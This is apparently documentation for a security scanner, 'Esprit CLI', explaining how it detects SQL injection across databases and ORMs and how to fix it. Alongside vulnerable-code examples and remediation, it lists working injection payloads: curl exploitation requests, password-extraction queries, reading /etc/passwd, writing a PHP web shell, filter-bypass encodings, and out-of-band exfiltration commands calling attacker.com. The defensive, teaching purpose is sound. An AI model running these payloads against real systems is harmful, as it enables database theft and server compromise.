Skip to main content
Esprit CLI detects SQL injection vulnerabilities across classic and modern attack surfaces, including ORM query builders, JSON operators, and out-of-band exfiltration channels.
SQL injection remains one of the most impactful vulnerability classes. Every string concatenation into SQL should be treated as suspect until proven parameterized.

Attack Surface Coverage

Esprit analyzes SQL injection risks across:

Database Systems

  • Classic relational - MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
  • Modern features - JSON/JSONB operators, full-text search, geospatial functions, CTEs, lateral joins

Integration Paths

  • ORMs (Sequelize, TypeORM, Prisma, SQLAlchemy, Active Record)
  • Query builders (Knex, QueryBuilder)
  • Raw SQL execution
  • Stored procedure calls

Input Locations

Esprit traces user input from:
  • Path parameters (/users/:id)
  • Query strings (?sort=name&order=desc)
  • Request body (JSON, form data)
  • HTTP headers and cookies
  • Mixed encodings (URL-encoded, JSON, multipart)

Detection Channels

Esprit identifies SQL injection through multiple oracles:

Error-Based Detection

// Vulnerable: Unparameterized query
const query = `SELECT * FROM users WHERE id = ${userId}`;
db.query(query);
Esprit detects type/constraint/parser errors that reveal:
  • Database version and paths
  • Stack traces with internal details
  • Table/column existence

Boolean-Based Detection

// Vulnerable: String interpolation in WHERE clause
app.get('/search', (req, res) => {
  const sql = `SELECT * FROM products WHERE name LIKE '%${req.query.q}%'`;
  // Exploitable with: ?q=' OR '1'='1
});
Esprit pairs requests differing only in predicate truth to detect:
  • Status code changes
  • Response body/length differences
  • ETag variations

Time-Based Detection

-- Esprit tests sleep functions
SELECT * FROM orders WHERE id = 1 AND SLEEP(5)
SELECT * FROM users WHERE email = 'test' AND pg_sleep(5)
Esprit uses subselect gating to avoid global latency noise and minimize false positives.

Out-of-Band (OAST)

-- DNS/HTTP callbacks detected
LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))  -- MySQL
COPY (SELECT '') TO PROGRAM 'curl http://attacker.com'   -- PostgreSQL

ORM and Query Builder Vulnerabilities

Esprit identifies dangerous patterns in modern ORMs:

Raw Query Fragments

// Sequelize - VULNERABLE
await User.findAll({
  where: sequelize.literal(`name = '${userName}'`)
});

// Knex - VULNERABLE
await knex('users')
  .whereRaw(`email = '${userEmail}'`)
  .select('*');

// TypeORM - VULNERABLE
await repository.query(
  `SELECT * FROM users WHERE id = ${userId}`
);
Dangerous APIs: whereRaw, orderByRaw, havingRaw, sequelize.literal, string interpolation in LIKE/IN/ORDER clauses

Identifier Injection

// VULNERABLE: User-controlled table/column names
const column = req.query.sort; // "email"
await knex('users')
  .orderBy(column, 'desc'); // Can inject: "(CASE WHEN ... THEN ... END)"

JSON Operator Injection (PostgreSQL)

// VULNERABLE: JSON containment operators with raw fragments
const filter = req.body.filter;
await knex('users')
  .whereRaw(`metadata @> '${JSON.stringify(filter)}'`);

Database-Specific Primitives

Esprit tests DBMS-specific functions:

MySQL

-- Version/metadata extraction
SELECT @@version, database(), user()

-- Error-based extraction
SELECT extractvalue(1, concat(0x7e, (SELECT password FROM users LIMIT 1)))

-- File access (requires FILE privilege)
SELECT LOAD_FILE('/etc/passwd')
SELECT 'shell' INTO DUMPFILE '/var/www/shell.php'

-- Time delay
SELECT SLEEP(5)

PostgreSQL

-- Version/metadata
SELECT version(), current_user, current_database()

-- Time delay
SELECT pg_sleep(5)

-- JSONB extraction for blind SQLi
SELECT data->>'password' FROM users WHERE id = 1

-- Conditional sleep for boolean blind
SELECT CASE WHEN (SELECT COUNT(*) FROM users WHERE role='admin') > 0 
  THEN pg_sleep(5) 
  ELSE pg_sleep(0) 
END

MSSQL

-- Version/metadata
SELECT @@version, db_name(), system_user

-- Time delay
WAITFOR DELAY '0:0:5'

-- Out-of-band DNS
EXEC xp_dirtree '\\\\attacker.com\\share'

Oracle

-- Version/metadata
SELECT banner FROM v$version

-- Time delay
BEGIN DBMS_LOCK.SLEEP(5); END;

-- Out-of-band HTTP
SELECT UTL_HTTP.REQUEST('http://attacker.com/'||password) FROM users

Bypass Techniques

Esprit tests filter evasion:

Whitespace Alternatives

-- Comments and special spaces
UNION/**/SELECT
UNION%0ASELECT
UNION%09SELECT

Keyword Obfuscation

-- Case mixing and encoding
UnIoN SeLeCt
U%4eION SELECT
0x554e494f4e -- Hex-encoded UNION

Numeric Tricks

-- Scientific notation and hex
SELECT * FROM users WHERE id = 1e0
SELECT * FROM users WHERE name = 0x61646d696e -- 'admin'

Example Scenarios

Scenario 1: Search Filter Injection

// Vulnerable code: src/api/search.js:42
app.get('/api/search', async (req, res) => {
  const { query, sort } = req.query;
  const sql = `
    SELECT id, name, email 
    FROM users 
    WHERE name LIKE '%${query}%' 
    ORDER BY ${sort}
  `;
  const results = await db.query(sql);
  res.json(results);
});
Exploitation:
# Boolean-based extraction
curl 'http://app.com/api/search?query=test%27%20OR%20%271%27=%271&sort=name'

# Time-based blind
curl 'http://app.com/api/search?query=test%27%20AND%20SLEEP(5)--&sort=name'

# UNION-based extraction
curl 'http://app.com/api/search?query=%27%20UNION%20SELECT%201,@@version,user()--&sort=name'
Impact: Full database access, authentication bypass, data exfiltration

Scenario 2: ORM ORDER BY Injection

// Vulnerable code: src/controllers/users.js:87
async function listUsers(req, res) {
  const sortBy = req.query.sort || 'created_at';
  const users = await User.findAll({
    order: [[sequelize.literal(sortBy), 'DESC']]
  });
  res.json(users);
}
Exploitation:
# Extract admin email via CASE WHEN
curl 'http://app.com/users?sort=(CASE%20WHEN%20(SELECT%20email%20FROM%20users%20WHERE%20role=%27admin%27%20LIMIT%201)%20LIKE%20%27a%25%27%20THEN%201%20ELSE%202%20END)'
Impact: Blind data extraction through boolean conditions

Remediation

Esprit recommends:

Use Parameterized Queries

// SAFE: Parameterized query
const sql = 'SELECT * FROM users WHERE id = ? AND name = ?';
const results = await db.query(sql, [userId, userName]);

// SAFE: ORM parameter binding
await User.findAll({
  where: {
    email: userEmail,
    status: 'active'
  }
});

Validate Identifiers

// SAFE: Whitelist column names
const ALLOWED_SORT = ['name', 'email', 'created_at'];
const sortBy = ALLOWED_SORT.includes(req.query.sort) 
  ? req.query.sort 
  : 'created_at';

await knex('users').orderBy(sortBy, 'desc');

Use Query Builders Safely

// SAFE: Knex with proper binding
await knex('users')
  .where('email', 'like', `%${userInput}%`)
  .orderBy('created_at', 'desc');

// SAFE: Sequelize without raw fragments
await User.findAll({
  where: {
    name: {
      [Op.like]: `%${userName}%`
    }
  },
  order: [['created_at', 'DESC']]
});
Esprit validates mitigations with negative tests and code review to ensure parameterization is correctly applied.

Detection Output

Esprit provides detailed findings:
[CRITICAL] SQL Injection in search endpoint
Location: src/api/search.js:42
Oracle: Boolean-based
DBMS: PostgreSQL 14.2

Vulnerable Code:
  const sql = `SELECT * FROM users WHERE name LIKE '%${query}%'`;

Proof:
  Request 1: ?query=test' OR '1'='1  → 50 results
  Request 2: ?query=test' OR '1'='2  → 0 results
  
Impact:
  - Authentication bypass via manipulated predicates
  - Full database read access
  - Potential data modification
  
Remediation:
  Use parameterized query:
  const sql = 'SELECT * FROM users WHERE name LIKE $1';
  db.query(sql, [`%${query}%`]);

Next Steps

XSS Detection

Detect cross-site scripting vulnerabilities

Authentication

Find JWT and session vulnerabilities

Build docs developers (and LLMs) love